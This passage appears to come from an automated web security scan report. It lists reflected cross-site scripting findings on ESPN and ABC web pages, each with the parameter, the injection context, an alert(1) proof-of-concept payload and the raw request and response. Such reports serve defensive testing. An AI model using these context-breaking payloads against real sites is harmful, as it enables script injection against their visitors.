HTTP/1.1 200 OK Content-Type: application/x-javascript Last-Modified: Wed, 23 Feb 2011 21:43:18 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: EGW05 Cache-Expires: Sun, 24 Apr 2011 21:43:19 GMT Vary: Accept-Encoding Cache-Control: max-age=5184000 Date: Wed, 23 Feb 2011 21:43:17 GMT Connection: close Content-Length: 53472
if(typeof (s_account)!="undefined"&&s_account!=""){if(s_account=="wdgespuk"||s_account=="wdgespstar"||s_account=="wdgesp360europe"||s_account=="wdgesp360prodigymexico"||s_account=="wdgesp360terrabrazi ...[SNIP]... <img src='"+A+"' style='display:none' />");});} /** ERROR: analytics/externalnielsen.jsab3e3<script>alert(1)</script>86514540ca5: Server returned HTTP response code: 400 for URL: http://espnsource01c.starwave.com:9081/prod/scripts/analytics/externalnielsen.jsab3e3<script> ...[SNIP]...
The value of the js request parameter is copied into a JavaScript inline comment. The payload d6911*/alert(1)//17464b787b5 was submitted in the js parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /combiner/c/201012011221?js=jquery-1.4.2.1.js,plugins/json2.r3.js,plugins/teacrypt.js,plugins/jquery.metadata.js,plugins/jquery.bgiframe.js,plugins/jquery.easing.1.3.js,plugins/jquery.hoverIntent.js,plugins/jquery.jcarousel.js,plugins/jquery.tinysort.r3.js,plugins/jquery.pubsub.r5.js,ui/1.8.2/jquery.ui.core.js,ui/1.8.2/jquery.ui.widget.js,ui/1.8.2/jquery.ui.tabs.js,ui/1.8.2/jquery.ui.accordion.js,plugins/ba-debug-0.4.js,espn.l10n.r8.js,swfobject/2.2/swfobject.js,flashObjWrapper.r7.js,plugins/jquery.colorbox.1.3.14.js,plugins/jquery.ba-postmessage.js,espn.core.duo.r49.js,espn.mem.r15.js,espn.mem.r16.js,stub.search.r3.js,espn.nav.mega.r30.js,espn.storage.r6.js,espn.p13n.r9.js,espn.video.r33a.js,registration/staticLogin.r10-14.js,espn.universal.overlay.r1.1.js,espn.insider.r5.js,espn.espn360.stub.r9.js,espn.myHeadlines.stub.r12.js,espn.myfaves.stub.r3.js,espn.scoreboard.r6.js,espn.partner.videobox.r3.js,%2Fforesee_v3%2Fforesee-alive.jsd6911*/alert(1)//17464b787b5&development=true HTTP/1.1 Host: a.espncdn.com Proxy-Connection: keep-alive Referer: http://espn.go.com/new-york/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Last-Modified: Wed, 23 Feb 2011 21:43:17 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: EGW04 Cache-Expires: Sun, 24 Apr 2011 21:43:17 GMT Vary: Accept-Encoding Cache-Control: max-age=5183999 Date: Wed, 23 Feb 2011 21:43:17 GMT Connection: close Connection: Transfer-Encoding Content-Length: 327815
/* * jQuery JavaScript Library v1.4.2 * http://jquery.com/ * * Copyright 2010, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizz ...[SNIP]... B.length;D++){var H=B[D].split("=");if(!H||H.length!=2){continue;}var C=unescape(H[0]);var G=unescape(H[1]);G=G.replace(/\+/g," ");F[C]=G;}return F;};})(jQuery); /** ERROR: /foresee_v3/foresee-alive.jsd6911*/alert(1)//17464b787b5: http://espnsource01c.starwave.com:9081/dev/scripts/foresee_v3/foresee-alive.jsd6911*/alert(1)//17464b787b5 **/
The value of the js request parameter is copied into the HTML document as plain text between tags. The payload c8e3d<script>alert(1)</script>23f304513d3 was submitted in the js parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /combiner/c/201012011221?js=c8e3d<script>alert(1)</script>23f304513d3&development=true HTTP/1.1 Host: a.espncdn.com Proxy-Connection: keep-alive Referer: http://espn.go.com/new-york/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Last-Modified: Wed, 23 Feb 2011 21:43:14 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: EGW01 Cache-Expires: Sun, 24 Apr 2011 21:43:15 GMT Vary: Accept-Encoding Cache-Control: max-age=5184000 Date: Wed, 23 Feb 2011 21:43:14 GMT Connection: close Content-Length: 201
/** ERROR: c8e3d<script>alert(1)</script>23f304513d3: Server returned HTTP response code: 400 for URL: http://espnsource01c.starwave.com:9081/dev/scripts/c8e3d<script>alert(1)</script>23f304513d3 **/ ...[SNIP]...
The value of the aa request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 27e7b"-alert(1)-"850c9a5da4a was submitted in the aa parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F27e7b"-alert(1)-"850c9a5da4a&partner=&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:25 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:25 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc04 X-Powered-By: ASP.NET Cache-Expires: Wed, 23 Feb 2011 23:12:25 GMT Content-Length: 16360 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F27e7b"-alert(1)-"850c9a5da4a&partner=&pc=&pl=&brandid=001","cookieName" : "abc_vp_breadcrumb" }); </script> ...[SNIP]...
The value of the aa request parameter is copied into an HTML comment. The payload 992fa--><script>alert(1)</script>cc4d89a2688 was submitted in the aa parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F992fa--><script>alert(1)</script>cc4d89a2688&partner=&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:27 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:27 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc04 X-Powered-By: ASP.NET Cache-Expires: Wed, 23 Feb 2011 23:12:27 GMT Content-Length: 16408 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F992fa--><script>alert(1)</script>cc4d89a2688&partner=&pc=&pl=&brandid=001 --> ...[SNIP]...
The value of the aff request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3315a"-alert(1)-"b50500fdfde was submitted in the aff parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /watch?i=1&aff=komo3315a"-alert(1)-"b50500fdfde&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:15 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:15 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc03 Cache-Expires: Wed, 23 Feb 2011 23:12:15 GMT Content-Length: 16360 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... > var crumbs = new abcdm.abc.vp2.ui.breadcrumb.Breadcrumb('breadcrumb'); crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?i=1&aff=komo3315a"-alert(1)-"b50500fdfde&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~R ...[SNIP]...
The value of the aff request parameter is copied into an HTML comment. The payload b4702--><script>alert(1)</script>cf5748d6729 was submitted in the aff parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /watch?i=1&aff=komob4702--><script>alert(1)</script>cf5748d6729&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:17 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:17 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc04 X-Powered-By: ASP.NET Cache-Expires: Wed, 23 Feb 2011 23:12:17 GMT Content-Length: 16408 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... <!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?i=1&aff=komob4702--><script>alert(1)</script>cf5748d6729&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~R ...[SNIP]...
The value of the al request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload add94"-alert(1)-"da4ce7e27d2 was submitted in the al parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.pngadd94"-alert(1)-"da4ce7e27d2&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:21 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:21 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc02 Cache-Expires: Wed, 23 Feb 2011 23:12:20 GMT Content-Length: 16360 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... mb'); crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.pngadd94"-alert(1)-"da4ce7e27d2&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=&brandid=001","cookieName" : "abc_v ...[SNIP]...
The value of the al request parameter is copied into an HTML comment. The payload 62285--><script>alert(1)</script>0ee6960a174 was submitted in the al parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png62285--><script>alert(1)</script>0ee6960a174&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:22 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:22 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc03 Cache-Expires: Wed, 23 Feb 2011 23:12:22 GMT Content-Length: 16408 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... <!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png62285--><script>alert(1)</script>0ee6960a174&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=&brandid=001 --> ...[SNIP]...
The value of the i request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eeaf7"-alert(1)-"bf408a71e3b was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /watch?i=1eeaf7"-alert(1)-"bf408a71e3b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:10 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:10 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc02 Cache-Expires: Wed, 23 Feb 2011 23:12:10 GMT Content-Length: 16360 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... vascript"> var crumbs = new abcdm.abc.vp2.ui.breadcrumb.Breadcrumb('breadcrumb'); crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?i=1eeaf7"-alert(1)-"bf408a71e3b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3 ...[SNIP]...
The value of the i request parameter is copied into an HTML comment. The payload bd0a6--><script>alert(1)</script>1c4bcbbcc0b was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /watch?i=1bd0a6--><script>alert(1)</script>1c4bcbbcc0b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:12 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:12 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc04 X-Powered-By: ASP.NET Cache-Expires: Wed, 23 Feb 2011 23:12:12 GMT Content-Length: 16408 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... <!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?i=1bd0a6--><script>alert(1)</script>1c4bcbbcc0b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3 ...[SNIP]...
1.25. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://abc.go.com
Path:
/watch
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22c78"-alert(1)-"857dd371022 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /watch?22c78"-alert(1)-"857dd371022=1 HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:06 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:06 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc02 Cache-Expires: Wed, 23 Feb 2011 23:12:06 GMT Content-Length: 15628 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... /javascript"> var crumbs = new abcdm.abc.vp2.ui.breadcrumb.Breadcrumb('breadcrumb'); crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?22c78"-alert(1)-"857dd371022=1&brandid=001","cookieName" : "abc_vp_breadcrumb" }); </script> ...[SNIP]...
1.26. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://abc.go.com
Path:
/watch
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 79066--><script>alert(1)</script>bceb9d2f1a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /watch?79066--><script>alert(1)</script>bceb9d2f1a4=1 HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:08 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:08 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc04 X-Powered-By: ASP.NET Cache-Expires: Wed, 23 Feb 2011 23:12:07 GMT Content-Length: 15676 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... <!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?79066--><script>alert(1)</script>bceb9d2f1a4=1&brandid=001 --> ...[SNIP]...
The value of the partner request parameter is copied into an HTML comment. The payload fce41--><script>alert(1)</script>a0f23fb5a53 was submitted in the partner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=fce41--><script>alert(1)</script>a0f23fb5a53&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:32 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:32 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc03 Cache-Expires: Wed, 23 Feb 2011 23:12:32 GMT Content-Length: 16408 Connection: close Vary: Accept-Encoding
